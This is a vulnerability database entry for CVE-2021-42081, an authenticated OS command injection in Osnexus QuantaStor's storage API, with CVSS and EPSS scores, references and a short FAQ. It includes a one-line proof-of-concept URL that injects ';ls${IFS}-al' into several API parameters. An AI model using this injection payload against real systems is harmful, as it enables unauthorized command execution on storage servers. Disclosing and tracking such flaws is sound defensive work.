RCE in Osnexus Quantastor
CVE-2021-42081
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Vulnerability class: Command Injection (OS Command Injection)
Published · last modified .
CVSS v3 metric
CVSS v3 base score 9.1 (Critical). Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H.
EPSS exploit prediction
EPSS: 0.012 (67.7th percentile), scored .
Low probability of exploitation in the next 30 days, but still tracked. 68th percentile — 67.7% of CVEs in the catalogue have a lower EPSS than this one. How to read EPSS.
EPSS over last 30 days · oldest: 0.012 · newest: 0.012 · change: 0.000
Affected products
- Osnexus Quantastor — versions 0
Weakness classification (CWE)
References
- www.wbsec.nl/osnexus (technical-description, Third Party Advisory, exploit, third-party-advisory)
- csirt.divd.nl/DIVD-2021-00020/ (third-party-advisory)
- www.osnexus.com/products/software-defined-storage (Product, product)
- csirt.divd.nl/CVE-2021-42081 (technical-description, Third Party Advisory, exploit, third-party-advisory)
- af854a3a-2127-422b-91ae-364da2661108
Frequently asked questions
- What is CVE-2021-42081?
- CVE-2021-42081 is a critical-severity vulnerability in Osnexus Quantastor, classified under OS Command Injection. CVSS score: 9.1/10. Published 2023-07-10.
- How severe is CVE-2021-42081?
- Critical severity. CVSS v3 base score is 9.1 out of 10.